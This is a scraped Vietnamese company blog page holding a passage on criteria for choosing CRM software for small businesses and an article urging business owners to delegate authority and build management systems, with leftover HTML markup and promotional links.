Rất may mắn cho bạn, tr&ecirc;n thị trường phần mềm CRM hiện nay đang c&oacute; rất nhiều sự lựa chọn tốt với mức gi&aacute; dễ chịu. Nếu chịu kh&oacute; t&igrave;m hiểu, bạn ho&agrave;n to&agrave;n c&oacute; thể lựa chọn được một phần mềm ph&ugrave; hợp m&agrave; kh&ocirc;ng phải vung tay qu&aacute; tr&aacute;n.&nbsp;
<h2 style="text-align: justify;">3. Th&acirc;n thiện, dễ sử dụng</h2>
Một trong những sai lầm lớn nhất doanh nghiệp gặp phải khi mua phần mềm CRM đ&oacute; l&agrave; qu&aacute; &ocirc;m đồm tới chuyện t&iacute;nh năng m&agrave; qu&ecirc;n đi mặt thực tiễn sử dụng phần mềm. Nếu nh&acirc;n vi&ecirc;n của bạn kh&ocirc;ng phải l&agrave; những người r&agrave;nh rọt về c&ocirc;ng nghệ, ứng dụng một phần mềm với to&agrave;n những t&iacute;nh năng tối t&acirc;n thậm ch&iacute; sẽ khiến hiệu quả l&agrave;m việc của họ trượt d&agrave;i.&nbsp;
Bởi vậy, vấn đề t&igrave;m kiếm một phần mềm c&oacute; giao diện th&acirc;n thiện v&agrave; dễ d&agrave;ng được sử dụng ngay cả với những người kh&ocirc;ng quen l&agrave;m việc với c&ocirc;ng nghệ đang l&agrave; một ti&ecirc;u ch&iacute; quan trọng với c&aacute;c đơn vị SMBs. Điều n&agrave;y đ&atilde; được kiểm chứng qua khảo s&aacute;t của IBM, khi 67% doanh nghiệp được hỏi coi việc dễ sử dụng như l&agrave; yếu tố h&agrave;ng đầu để chọn mua phần mềm CRM
<h3 style="text-align: justify;">4. Khả năng hỗ trợ của đơn vị cung cấp phần mềm</h3>
Nh&agrave; cung cấp cũng l&agrave; một ti&ecirc;u ch&iacute; bạn cần phải quan t&acirc;m khi lựa chọn phần mềm CRM. Một phần mềm ổn, chi ph&iacute; thấp nhưng nh&agrave; cung cấp lại mất h&uacute;t sau khi triển khai, cung cấp hoạt động chăm s&oacute;c lỏng lẻo r&otilde; r&agrave;ng kh&ocirc;ng phải l&agrave; thứ bạn đang mong đợi v&agrave; t&igrave;m kiếm.&nbsp;
Doanh nghiệp cũng kh&oacute; c&oacute; thể trơn tru l&agrave;m việc với một phần mềm mới toanh m&agrave; kh&ocirc;ng gặp phải kh&uacute;c mắc g&igrave;, cho d&ugrave; ch&uacute;ng c&oacute; dễ sử dụng đi chăng nữa. V&agrave;o thời điểm đ&oacute;, họ ho&agrave;n to&agrave;n phải nhờ cậy tới sự trợ gi&uacute;p của nh&agrave; cung cấp để giải v&acirc;y. V&agrave; sẽ thật khốn đốn khi trong t&igrave;nh huống n&agrave;y, bạn lại kh&ocirc;ng thể li&ecirc;n lạc được tới đơn vị m&igrave;nh gửi gắm niềm tin để y&ecirc;u cầu hỗ trợ.
Vị vậy, trước khi quyết định mua phần mềm CRM, h&atilde;y x&aacute;c nhận lại những th&ocirc;ng tin như: Phản hồi v&agrave; đ&aacute;nh gi&aacute; của kh&aacute;ch h&agrave;ng về dịch vụ chăm s&oacute;c của nh&agrave; cung cấp; Những loại h&igrave;nh hỗ trợ người d&ugrave;ng của họ; C&aacute;c k&ecirc;nh chăm s&oacute;c v&agrave; thời gian hỗ trợ kh&aacute;ch h&agrave;ng;... Đảm bảo nắm vững những th&ocirc;ng tin n&agrave;y sẽ gi&uacute;p bạn tr&aacute;nh t&igrave;nh trạng bị đơn vị b&aacute;n phần mềm bỏ rơi sau n&agrave;y.
<h3 style="text-align: justify;">5. Đảm bảo phần mềm sở hữu đầy đủ những t&iacute;nh năng cơ bản</h3>
Với nhu cầu sử dụng chưa cao, doanh nghiệp vừa v&agrave; nhỏ thường chỉ cần một phần mềm CRM đ&aacute;p ứng được đầy đủ những t&iacute;nh năng cơ bản nhất, bao gồm:
Lưu trữ v&agrave; quản l&yacute; dữ liệu kh&aacute;ch h&agrave;ng:&nbsp;C&oacute; thể n&oacute;i đ&acirc;y ch&iacute;nh l&agrave; t&iacute;nh năng cốt l&otilde;i của phần mềm CRM, cho ph&eacute;p người d&ugrave;ng nh&oacute;m dữ liệu kh&aacute;ch h&agrave;ng th&agrave;nh từng tập hợp nhỏ để quản l&yacute; v&agrave; ph&acirc;n t&iacute;ch. Qua đ&oacute;, bạn c&oacute; thể dễ d&agrave;ng tiếp cận v&agrave; tương t&aacute;c với th&ocirc;ng tin kh&aacute;ch h&agrave;ng hơn, cải thiện trải nghiệm c&aacute; nh&acirc;n h&oacute;a của họ để hỗ trợ c&aacute;c chiến lược li&ecirc;n quan như marketing hay CSKH.&nbsp;
Ph&acirc;n loại v&agrave; chấm điểm kh&aacute;ch h&agrave;ng (lead scoring):&nbsp;Kh&ocirc;ng một phần mềm CRM n&agrave;o được cho l&agrave; ho&agrave;n thiện nếu thiếu đi t&iacute;nh năng n&agrave;y. Ch&uacute;ng cho ph&eacute;p bạn x&aacute;c định được những kh&aacute;ch h&agrave;ng tiềm năng nhất dựa tr&ecirc;n c&aacute;c yếu tố về nh&acirc;n khẩu học v&agrave; t&acirc;m l&yacute;. Đội ngũ b&aacute;n h&agrave;ng từ đ&oacute; c&oacute; thể n&acirc;ng cao hiệu quả l&agrave;m việc nhờ d&agrave;nh nhiều thời gian hơn chăm s&oacute;c đối tượng người mua s&aacute;ng gi&aacute;.&nbsp;
Ph&acirc;n t&iacute;ch số liệu v&agrave; thiết lập b&aacute;o c&aacute;o:&nbsp;Tr&ecirc;n g&oacute;c độ c&ocirc;ng cụ, ph&acirc;n t&iacute;ch dữ liệu b&aacute;n h&agrave;ng v&agrave; thiết lập b&aacute;o c&aacute;o l&agrave; t&iacute;nh năng quan trọng cần c&oacute; của của một phần mềm CRM. Ch&uacute;ng gi&uacute;p bạn thu thập kết quả từ nhiều k&ecirc;nh v&agrave; nguồn kh&aacute;c nhau, đ&aacute;nh gi&aacute; chất lượng những chiến lược b&aacute;n h&agrave;ng cũ để từ đ&oacute; c&oacute; những cải tiến phục vụ cho mục ti&ecirc;u trong tương lai. Một CRM với t&iacute;nh năng b&aacute;o c&aacute;o tốt phải đ&aacute;p ứng được việc cung cấp c&aacute;c dữ liệu như:
<ul style="text-align: justify;">
<li>
Trạng th&aacute;i phễu b&aacute;n h&agrave;ng của bạn
</li>
<li>
Những điểm tắc nghẽn trong chu kỳ b&aacute;n h&agrave;ng&nbsp;
</li>
<li>
Thống k&ecirc; những hợp đồng th&agrave;nh c&ocirc;ng, thất bại v&agrave; l&yacute; do
</li>
<li>
Tăng trưởng doanh thu theo khoảng thời gian
</li>
<li>
Kết quả c&aacute;c chiến dịch b&aacute;n h&agrave;ng&nbsp;
</li>
</ul>
Dự b&aacute;o doanh số b&aacute;n h&agrave;ng:&nbsp;T&iacute;nh năng dự b&aacute;o doanh thu cho ph&eacute;p bạn tạo ra một cột mốc chuẩn để so s&aacute;nh lại doanh thu thực tế với những nỗ lực kinh doanh của m&igrave;nh. Sử dụng kết quả n&agrave;y, bạn c&oacute; thể xem x&eacute;t lại chiến lược b&aacute;n h&agrave;ng để tối ưu hoặc duy tr&igrave;, n&acirc;ng cao mục ti&ecirc;u trong tương lai.
Tự động h&oacute;a c&aacute;c quy tr&igrave;nh l&agrave;m việc thủ c&ocirc;ng:&nbsp;Đ&acirc;y l&agrave; t&iacute;nh năng gi&uacute;p doanh nghiệp của bạn c&oacute; thể ngay lập tức cải thiện hiệu quả hoạt động. Phần mềm CRM c&oacute; thể tự động h&oacute;a c&aacute;c quy tr&igrave;nh như thu thập, ph&acirc;n t&iacute;ch dữ liệu, thiết lập b&aacute;o c&aacute;o hay c&aacute;c t&aacute;c vụ được thực hiện thủ c&ocirc;ng trước đ&acirc;y. Ngo&agrave;i ra, ch&uacute;ng cũng c&oacute; khả năng chỉ ra c&aacute;c lỗ hổng trong quy tr&igrave;nh l&agrave;m việc hiện tại để người d&ugrave;ng c&oacute; thể sửa chữa v&agrave; ho&agrave;n thiện.
<h3 style="text-align: justify;">6. Hỗ trợ cổng kết nối API t&iacute;ch hợp phần mềm, ứng dụng từ b&ecirc;n thứ ba</h3>
D&ugrave; l&agrave; một doanh nghiệp nhỏ đi chăng nữa, chắc chắn bạn cần sử dụng kh&ocirc;ng &iacute;t phần mềm để vận h&agrave;nh hiệu quả. Việc l&agrave;m việc qua lại, truy xuất th&ocirc;ng tin giữa ch&uacute;ng c&oacute; thể rất mất thời gian, đồng thời g&acirc;y ra những sai lệch th&ocirc;ng tin kh&ocirc;ng đ&aacute;ng c&oacute;. Vậy n&ecirc;n sẽ thật sự l&yacute; tưởng nếu phần mềm CRM bạn chọn c&oacute; hỗ trợ API để t&iacute;ch hợp nhiều ứng dụng l&agrave;m việc lại tr&ecirc;n một nền tảng.
<h3 style="text-align: justify;">7. C&oacute; thể sử dụng được tr&ecirc;n điện thoại</h3>
Với sự ph&aacute;t triển của c&ocirc;ng nghệ kỹ thuật, c&aacute;c hoạt động kinh doanh giờ đ&acirc;y kh&ocirc;ng dừng lại kể cả khi bạn bước ch&acirc;n ra khỏi văn ph&ograve;ng. Thiết bị di động như điện thoại đang biến mọi địa điểm th&agrave;nh một g&oacute;c l&agrave;m việc thu nhỏ, gi&uacute;p bạn tương t&aacute;c v&agrave; hoạt động ngay cả khi di chuyển.&nbsp;
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/22/31d877f0-fcbd-11ea-a4b8-77222073938e-1600770010351.png" alt="crm-mobile" width="850" height="377" />
H&atilde;y lựa chọn một <a href="https://blackwind.vn/dich-vu/phat-trien-phan-mem-crm-5">phần mềm CRM tốt</a> c&oacute; hỗ trợ ứng dụng tr&ecirc;n điện thoại để tối ưu thời gian v&agrave; hiệu quả l&agrave;m việc của doanh nghiệp. Ti&ecirc;u ch&iacute; n&agrave;y c&oacute; một mặt tr&aacute;i, l&agrave; những phần mềm đ&aacute;p ứng được thường c&oacute; mức gi&aacute; kh&ocirc;ng mấy dễ chịu. Tuy vậy, ch&uacute;ng cũng rất đ&aacute;ng để đầu tư nếu bạn muốn tận dụng t&iacute;nh năng của phần mềm mọi l&uacute;c mọi nơi.
Với sự b&ugrave;ng nổ của thị trường phần mềm, việc sở hữu một giải ph&aacute;p CRM giờ đ&acirc;y đ&atilde; trở n&ecirc;n dễ d&agrave;ng hơn rất nhiều, kể cả với những doanh nghiệp vừa v&agrave; nhỏ. Tuy nhi&ecirc;n, việc chọn lựa một phần mềm ph&ugrave; hợp cũng đ&ograve;i hỏi sự nghi&ecirc;n cứu kĩ lưỡng v&agrave; thấu hiểu s&acirc;u sắc. Hi vọng, qua b&agrave;i viết n&agrave;y, bạn đ&atilde; c&oacute; cho m&igrave;nh những th&ocirc;ng tin cơ bản để kh&ocirc;ng khỏi lạc lối trong v&ocirc; v&agrave;n những phần mềm đang g&oacute;p mặt tr&ecirc;n thị trường.

Phần mềm CRM chính là một trong số những công nghệ tiên tiến, thậm chí còn là mối quan tâm hàng đầu của phần lớn doanh nghiệp trên thế giới nói chung và Việt nam nói riêng. Cần chú ý các tiêu chí để l

Tiêu chí lựa chọn phần mềm CRM cho doanh nghiệp SMBs

Thị trường phần mềm CRM đã vươn lên top đầu trong thế giới công nghệ từ năm 2017 và vẫn chưa hề có dấu hiệu hạ nhiệt.

L&atilde;nh đạo doanh nghiệp c&oacute; cần thiết phải bận rộn suốt ng&agrave;y để giải quyết những vấn đề nội bộ như vậy kh&ocirc;ng?
<h2>"Ba đầu s&aacute;u tay" cũng chưa xuể</h2>
Nhiều l&atilde;nh đạo doanh nghiệp nhỏ v&agrave; si&ecirc;u nhỏ sợ nh&acirc;n vi&ecirc;n chểnh mảng c&ocirc;ng việc, khi muốn nắm bắt mọi th&ocirc;ng tin từ những việc nhỏ đến chuyện lớn hằng ng&agrave;y của c&ocirc;ng ty, họ thường c&oacute; những chỉ đạo, mệnh lệnh bằng miệng. C&oacute; những l&atilde;nh đạo c&ograve;n tạo ra những group chat qua Zalo, Messenger để chỉ đạo, điều h&agrave;nh mọi hoạt động. Những mệnh lệnh, chỉ đạo kiểu như vậy đ&ocirc;i khi l&agrave; ngẫu hứng, bất nhất v&agrave; c&oacute; thể mất kiểm so&aacute;t v&igrave; c&oacute; qu&aacute; nhiều y&ecirc;u cầu xin &yacute; kiến, từ việc mua sắm văn ph&ograve;ng phẩm, nghỉ ph&eacute;p đến những chuyện lớn như k&yacute; kết hợp đồng, hay ra quyết định đầu tư.
Ch&iacute;nh v&igrave; tự m&igrave;nh quyết định mọi việc n&ecirc;n vai tr&ograve; của trưởng, ph&oacute; ph&ograve;ng, đ&ocirc;i khi l&agrave; ph&oacute; gi&aacute;m đốc trong c&aacute;c doanh nghiệp n&agrave;y thường bị v&ocirc; hiệu h&oacute;a. V&agrave; rồi những quản l&yacute; cấp trung sẽ trở th&agrave;nh "b&ugrave; nh&igrave;n" trong mắt nh&acirc;n vi&ecirc;n v&igrave; kh&ocirc;ng c&oacute; thực quyền. Hệ quả l&agrave; c&agrave;ng ng&agrave;y, nh&acirc;n vi&ecirc;n c&agrave;ng tập trung b&aacute;o c&aacute;o, xin &yacute; kiến gi&aacute;m đốc l&agrave; chủ yếu.
Mặt kh&aacute;c, khi điều h&agrave;nh doanh nghiệp theo h&igrave;nh thức n&agrave;y th&igrave; khi cần xin &yacute; kiến, nh&acirc;n vi&ecirc;n b&aacute;o c&aacute;o gi&aacute;m đốc c&oacute; khi nhanh hơn l&agrave; qua cấp trung gian n&ecirc;n họ th&iacute;ch l&agrave;m việc trực tiếp với quản l&yacute; cấp cao.
Do tập trung quyền lực tối đa như vậy n&ecirc;n gi&aacute;m đốc c&aacute;c doanh nghiệp n&agrave;y hầu hết bận rộn suốt ng&agrave;y để giải quyết c&aacute;c vấn đề nội bộ, m&agrave; kh&ocirc;ng c&oacute; thời gian để suy nghĩ đến c&aacute;c vấn đề chiến lược quan trọng như: đầu tư mở rộng SXKD, đa dạng h&oacute;a sản phẩm, mở rộng thị trường, chăm s&oacute;c kh&aacute;ch h&agrave;ng,
Khi khối lượng c&ocirc;ng việc cần giải quyết ng&agrave;y c&agrave;ng nhiều, dẫn đến qu&aacute; tải, một số l&atilde;nh đạo doanh nghiệp chuyển sang x&acirc;y dựng &ldquo;đệ tử th&acirc;n t&iacute;n&rdquo; tham gia v&agrave;o "mạng lưới điều h&agrave;nh". Chủ doanh nghiệp sẽ nghe b&aacute;o c&aacute;o, giải quyết c&ocirc;ng việc qua "hệ thống" n&agrave;y để giảm bớt &aacute;p lực c&ocirc;ng việc. Song c&aacute;ch l&agrave;m "s&aacute;ng tạo" n&agrave;y sẽ dần giết chết doanh nghiệp do m&acirc;u thuẫn nội bộ ph&aacute;t sinh v&agrave; sẽ c&oacute; nhiều nh&acirc;n vi&ecirc;n giỏi ra đi.<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/21/a41f51e0-fbe5-11ea-a4b8-77222073938e-1600677430790.jpeg" alt="quan-tri-doanh-nghiep" width="550" height="304" />
<h2>X&acirc;y dựng hệ thống quản trị v&agrave; ph&acirc;n quyền tại doanh nghiệp</h2>
C&aacute;ch thức quản trị doanh nghiệp như kiểu &ldquo;chuyện g&igrave; cũng phải biết v&agrave; giải quyết&rdquo; tr&ecirc;n chỉ ph&ugrave; hợp với loại h&igrave;nh doanh si&ecirc;u nhỏ. Khi quy m&ocirc; doanh nghiệp đ&atilde; lớn mạnh, l&atilde;nh đạo cần phải thay đổi tư duy v&agrave; c&aacute;ch thức quản trị.
Trước ti&ecirc;n l&agrave; x&acirc;y dựng quy chế quản trị c&ocirc;ng ty thật đầy đủ, chi tiết, minh bạch, bao h&agrave;m to&agrave;n bộ c&aacute;c lĩnh vực hoạt động: đầu tư, tiếp thị, t&agrave;i ch&iacute;nh, kinh doanh, nh&acirc;n sự, văn ph&ograve;ng... Đ&acirc;y ch&iacute;nh l&agrave; "luật" của c&ocirc;ng ty, buộc mọi người phải tu&acirc;n thủ. Ngo&agrave;i ra, phải x&acirc;y dựng quy tr&igrave;nh quản l&yacute; chung quy định c&aacute;c bước phải l&agrave;m khi giải quyết một vấn đề. Sơ đồ quy tr&igrave;nh của hệ thống ISO 9001:2018 cần phải được phổ biến rộng r&atilde;i để nh&acirc;n vi&ecirc;n hiểu v&agrave; &aacute;p dụng v&agrave;o thực tế c&ocirc;ng việc hằng ng&agrave;y, gi&uacute;p họ hiểu được khi cần phải b&aacute;o c&aacute;o bộ phận n&agrave;o v&agrave; b&aacute;o c&aacute;o với ai. Khi quy m&ocirc; c&ocirc;ng ty ph&aacute;t triển đến một mức nhất định th&igrave; quy tr&igrave;nh quản l&yacute; n&agrave;y sẽ được số h&oacute;a th&ocirc;ng qua c&aacute;c <a href="https://blackwind.vn/dich-vu/quan-tri-doanh-nghiep-toan-dien-4">phần mềm quản trị doanh nghiệp</a>, app quản l&yacute; c&ocirc;ng việc. L&uacute;c đ&oacute; doanh nghiệp sẽ được vận h&agrave;nh như một doanh nghiệp số.
Tiếp theo, l&atilde;nh đạo doanh nghiệp cần ph&acirc;n cấp, ph&acirc;n quyền cụ thể cho cấp dưới, như quy định cấp n&agrave;o được ph&eacute;p giải quyết việc g&igrave;, thẩm quyền giải quyết đến đ&acirc;u nhằm tr&aacute;nh đ&ugrave;n đẩy l&ecirc;n cấp tr&ecirc;n những việc kh&ocirc;ng cần thiết. Mục đ&iacute;ch l&agrave; để loại bỏ t&acirc;m l&yacute; sợ mất kiểm so&aacute;t, mất quyền lực để ph&acirc;n quyền xử l&yacute; c&ocirc;ng việc cho cấp dưới c&agrave;ng nhiều c&agrave;ng tốt.
Nh&oacute;m c&ocirc;ng việc lặp đi lặp lại li&ecirc;n quan đến SXKD hằng ng&agrave;y n&ecirc;n để cho bộ phận quản l&yacute; cấp trung giải quyết. Trong giai đoạn n&agrave;y, sẽ vẫn c&ograve;n hiện tượng nh&acirc;n vi&ecirc;n gọi điện xin &yacute; kiến trực tiếp l&atilde;nh đạo cấp cao th&igrave; người l&atilde;nh đạo phải chuyển vấn đề đ&oacute; cho cấp dưới chứ kh&ocirc;ng tự m&igrave;nh giải quyết. L&acirc;u dần, c&aacute;ch l&agrave;m n&agrave;y sẽ h&igrave;nh th&agrave;nh nề nếp v&agrave; tạo ra uy t&iacute;n cho l&atilde;nh đạo cấp trung, gi&uacute;p họ tự tin hơn khi điều h&agrave;nh c&ocirc;ng việc.
Đến thời điểm bộ m&aacute;y đ&atilde; vận h&agrave;nh trơn tru, th&igrave; l&atilde;nh đạo doanh nghiệp kh&ocirc;ng cần phải x&acirc;y dựng "mạng lưới điều h&agrave;nh" kiểu tai mắt th&acirc;n t&iacute;n nữa, thay v&agrave;o đ&oacute; sẽ c&oacute; nhiều thời gian để suy nghĩ, chỉ đạo c&aacute;c vấn đề mang t&iacute;nh chiến lược của c&ocirc;ng ty.

Nhiều chủ doanh nghiệp (DN) than phiền về việc suốt ngày bận rộn với việc chỉ đạo, điều hành công ty. Nhân viên, cán bộ cấp trung báo cáo, xin ý kiến chỉ đạo bất kể giờ giấc, khi thì trực tiếp, lúc lạ

Chủ doanh nghiệp có cần phải tự mình giải quyết mọi việc của công ty?

Nhiều chủ doanh nghiệp (DN) than phiền về việc suốt ngày bận rộn với việc chỉ đạo, điều hành công ty. Nhân viên, cán bộ cấp trung báo cáo, xin ý kiến chỉ đạo bất kể giờ giấc.

Tin tức.